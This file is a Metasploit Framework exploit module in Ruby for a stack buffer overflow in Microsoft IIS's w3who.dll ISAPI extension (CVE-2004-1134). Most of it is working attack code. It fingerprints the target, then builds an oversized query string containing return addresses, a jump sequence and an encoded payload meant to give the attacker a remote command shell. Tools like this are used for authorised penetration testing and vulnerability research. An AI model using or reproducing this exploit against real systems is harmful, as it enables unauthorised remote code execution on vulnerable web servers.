metasploit-framework/modules/exploits/windows/isapi/w3who_query.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the w3who.dll ISAPI
				application. This vulnerability was discovered Nicolas
				Gregoire and this code has been successfully tested against
				Windows 2000 and Windows XP (SP2). When exploiting Windows
				XP, the payload must call RevertToSelf before it will be
				able to spawn a command shell.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-1134'],
					[ 'OSVDB', '12258'],
					[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],
					[ 'BID', '11820'],

				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 632,
					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
					'MinNops'  => 128,
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Automatic Detection', { }],
					['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [  48,  0x01169f4a ] }], # pop, pop, ret magic
					['Windows 2000 RESKIT DLL [Windows XP]',   { 'Rets' => [ 748,  0x10019f4a ] }], # pop, pop, ret magic
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 6 2004'))

			register_options(
				[
					OptString.new('URL', [ true,  "The path to w3who.dll", "/scripts/w3who.dll" ]),
				], self.class)
	end

	def check
		res = send_request_raw({
			'uri'   => datastore['URL']
		}, -1)

		if (res and res.body =~ /Access Token/)
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		mytarget = target

		if(mytarget.name =~ /Automatic/)
			res = send_request_raw({
				'uri'   => datastore['URL']
			}, -1)

			# Was a vulnerable system detected?
			if (res and res.body =~ /Access Token/)
				case res.headers['Server']
				when /5\.1/
					mytarget = targets[2]
				else
					mytarget = targets[1]
				end
			else
				print_error("No valid target found")
			end
		end

		buf = rand_text_english(8192, payload_badchars)
		buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
		buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')
		buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
		buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded

		print_status("Sending request...")
		r = send_request_raw({
			'uri'   => datastore['URL'],
			'query' => buf
		}, 5)

		handler
	end

end